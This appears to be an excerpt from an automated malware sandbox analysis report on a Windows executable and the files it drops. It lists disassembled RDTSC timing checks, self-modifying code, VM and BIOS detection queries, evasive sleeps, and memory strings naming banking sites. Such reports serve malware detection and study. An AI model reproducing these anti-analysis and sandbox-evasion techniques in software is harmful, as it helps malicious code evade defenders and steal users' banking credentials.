Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5050A9D second address: 5050B3F instructions: 0x00000000 rdtsc 0x00000002 mov ch, B4h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F62F8C4B1A5h 0x0000000c xor ah, 00000046h 0x0000000f jmp 00007F62F8C4B1A1h 0x00000014 popfd 0x00000015 popad 0x00000016 test esi, esi 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F62F8C4B19Ch 0x0000001f add si, CBE8h 0x00000024 jmp 00007F62F8C4B19Bh 0x00000029 popfd 0x0000002a jmp 00007F62F8C4B1A8h 0x0000002f popad 0x00000030 je 00007F6369648A44h 0x00000036 jmp 00007F62F8C4B1A0h 0x0000003b cmp dword ptr [75AB459Ch], 05h 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F62F8C4B1A7h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5050B3F second address: 5050B71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B889h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F6369E511B1h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F62F943B87Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5050B71 second address: 5050B81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62F8C4B19Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5050B81 second address: 5050B85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5050B85 second address: 5050BAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007F62F8C4B19Ch 0x0000000e mov dword ptr [esp], esi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F62F8C4B19Ah 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5050BAB second address: 5050BB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5050BB1 second address: 5050BB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5050BB7 second address: 5050BBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5050C42 second address: 5050C48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: 5050C6C second address: 5050C7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B87Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A75A9E second address: A75AA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A6EBAC second address: A6EBB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A6EBB0 second address: A6EBC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F62F8C4B1A3h 0x0000000c jmp 00007F62F8C4B19Bh 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A6EBC9 second address: A6EBD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F62F943B876h 0x0000000a jo 00007F62F943B876h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A6EBD9 second address: A6EBDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A74C44 second address: A74C9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F62F943B885h 0x00000008 jnp 00007F62F943B876h 0x0000000e jmp 00007F62F943B880h 0x00000013 popad 0x00000014 push esi 0x00000015 jmp 00007F62F943B87Dh 0x0000001a jmp 00007F62F943B885h 0x0000001f pop esi 0x00000020 pop edx 0x00000021 pop eax 0x00000022 push ecx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A74C9E second address: A74CAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F62F8C4B196h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A74CAE second address: A74CB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A74CB2 second address: A74CB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A74DD8 second address: A74DFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007F62F943B87Dh 0x0000000e jnp 00007F62F943B882h 0x00000014 jnc 00007F62F943B876h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A74DFC second address: A74E0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F62F8C4B1A8h 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A78665 second address: A78669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A78758 second address: A787C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop esi 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007F62F8C4B1A8h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 jmp 00007F62F8C4B19Bh 0x00000018 pop eax 0x00000019 push eax 0x0000001a stc 0x0000001b pop ecx 0x0000001c push 00000003h 0x0000001e push 00000000h 0x00000020 push ecx 0x00000021 call 00007F62F8C4B198h 0x00000026 pop ecx 0x00000027 mov dword ptr [esp+04h], ecx 0x0000002b add dword ptr [esp+04h], 00000018h 0x00000033 inc ecx 0x00000034 push ecx 0x00000035 ret 0x00000036 pop ecx 0x00000037 ret 0x00000038 push 00000000h 0x0000003a cmc 0x0000003b push 00000003h 0x0000003d xor dword ptr [ebp+122D3657h], ecx 0x00000043 push E10E4E93h 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A787C4 second address: A787C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A787C8 second address: A787CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A788D0 second address: A788DA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A788DA second address: A78901 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F62F8C4B1A9h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A78AEB second address: A78AF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A78AF1 second address: A78AF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A78AF5 second address: A78BBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 73C8A43Eh 0x0000000f mov edx, dword ptr [ebp+122D2CCEh] 0x00000015 push 00000003h 0x00000017 mov esi, dword ptr [ebp+122D1E10h] 0x0000001d push 00000000h 0x0000001f jmp 00007F62F943B888h 0x00000024 push 00000003h 0x00000026 push 00000000h 0x00000028 push esi 0x00000029 call 00007F62F943B878h 0x0000002e pop esi 0x0000002f mov dword ptr [esp+04h], esi 0x00000033 add dword ptr [esp+04h], 00000019h 0x0000003b inc esi 0x0000003c push esi 0x0000003d ret 0x0000003e pop esi 0x0000003f ret 0x00000040 mov edi, ecx 0x00000042 mov cx, 7F1Ah 0x00000046 sub esi, 37697B7Fh 0x0000004c push EE62F643h 0x00000051 pushad 0x00000052 pushad 0x00000053 push esi 0x00000054 pop esi 0x00000055 jc 00007F62F943B876h 0x0000005b popad 0x0000005c jne 00007F62F943B878h 0x00000062 popad 0x00000063 xor dword ptr [esp], 2E62F643h 0x0000006a jmp 00007F62F943B887h 0x0000006f lea ebx, dword ptr [ebp+1244E59Ch] 0x00000075 mov edi, dword ptr [ebp+122D2CD2h] 0x0000007b push eax 0x0000007c push eax 0x0000007d push edx 0x0000007e pushad 0x0000007f pushad 0x00000080 popad 0x00000081 jmp 00007F62F943B888h 0x00000086 popad 0x00000087 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A78BBD second address: A78BD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62F8C4B1A3h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A89FF5 second address: A8A00E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B885h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A8A00E second address: A8A018 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F62F8C4B19Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A8A018 second address: A8A02E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F62F943B87Dh 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A96C8D second address: A96CA1 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F62F8C4B198h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e jnl 00007F62F8C4B196h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A97079 second address: A97098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62F943B885h 0x00000009 jo 00007F62F943B876h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A97098 second address: A9709C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A975ED second address: A975FF instructions: 0x00000000 rdtsc 0x00000002 js 00007F62F943B878h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A9772E second address: A97734 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A97734 second address: A97752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F62F943B887h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A97752 second address: A977AE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F62F8C4B1A9h 0x00000011 jmp 00007F62F8C4B1A8h 0x00000016 jmp 00007F62F8C4B1A6h 0x0000001b popad 0x0000001c jg 00007F62F8C4B198h 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A978EB second address: A9791E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jmp 00007F62F943B888h 0x0000000c pop esi 0x0000000d pushad 0x0000000e jo 00007F62F943B878h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 jp 00007F62F943B876h 0x0000001e push edi 0x0000001f pop edi 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A97A7D second address: A97ACB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F62F8C4B19Ah 0x0000000c pushad 0x0000000d popad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pop edi 0x00000011 jl 00007F62F8C4B1DDh 0x00000017 pushad 0x00000018 jmp 00007F62F8C4B19Ch 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f jmp 00007F62F8C4B19Eh 0x00000024 jmp 00007F62F8C4B19Fh 0x00000029 popad 0x0000002a push eax 0x0000002b push edx 0x0000002c push edx 0x0000002d pop edx 0x0000002e jc 00007F62F8C4B196h 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A97ACB second address: A97AD5 instructions: 0x00000000 rdtsc 0x00000002 je 00007F62F943B876h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A97DCE second address: A97DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F8C4B1A2h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A97DE4 second address: A97DE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A8E205 second address: A8E225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F8C4B1A8h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A63124 second address: A63147 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F943B887h 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F62F943B876h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A9847A second address: A98480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A98480 second address: A9848C instructions: 0x00000000 rdtsc 0x00000002 js 00007F62F943B876h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A98704 second address: A98708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A98708 second address: A98731 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F62F943B87Ah 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jnp 00007F62F943B87Ah 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jne 00007F62F943B876h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A98731 second address: A98735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A98735 second address: A98739 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A9A6AE second address: A9A6BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a jng 00007F62F8C4B196h 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A9AE94 second address: A9AEB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F943B885h 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A9BECD second address: A9BEE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B1A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe RDTSC instruction interceptor: First address: A9BEE7 second address: A9BF04 instructions: 0x00000000 rdtsc 0x00000002 js 00007F62F943B878h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F62F943B87Dh 0x00000015 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Special instruction interceptor: First address: 9E7986 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Special instruction interceptor: First address: B92A56 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Special instruction interceptor: First address: BBD9FA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Special instruction interceptor: First address: C28DCF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Special instruction interceptor: First address: 8FDCD6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Special instruction interceptor: First address: A9B99F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Special instruction interceptor: First address: A9A8A8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Special instruction interceptor: First address: AC355B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Special instruction interceptor: First address: B2BFFD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Special instruction interceptor: First address: 30FD88 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Special instruction interceptor: First address: 30FE2F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Special instruction interceptor: First address: 4D5762 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Special instruction interceptor: First address: 534BDE instructions caused by: Self-modifying code
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Memory allocated: 4890000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Memory allocated: 4A20000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Memory allocated: 6A20000 memory reserve | memory write watch Jump to behavior
Contains capabilities to detect virtual machines
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Code function: 9_2_00A789CE rdtsc 9_2_00A789CE
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Thread delayed: delay time: 922337203685477 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\Bire1g8ahY.exe TID: 7424 Thread sleep time: -34017s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe TID: 7400 Thread sleep time: -32016s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe TID: 7868 Thread sleep time: -330000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe TID: 7404 Thread sleep time: -30015s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe TID: 7416 Thread sleep time: -34017s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe TID: 2552 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Users\user\Desktop\Bire1g8ahY.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: 4830TYWIJQ5SCGDL2FZPZJN92URB.exe, 4830TYWIJQ5SCGDL2FZPZJN92URB.exe, 00000009.00000002.1761422204.0000000000A7D000.00000040.00000001.01000000.00000006.sdmp, 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1766251937.000000000048D000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: Bire1g8ahY.exe, 00000000.00000003.1411545902.0000000005B08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
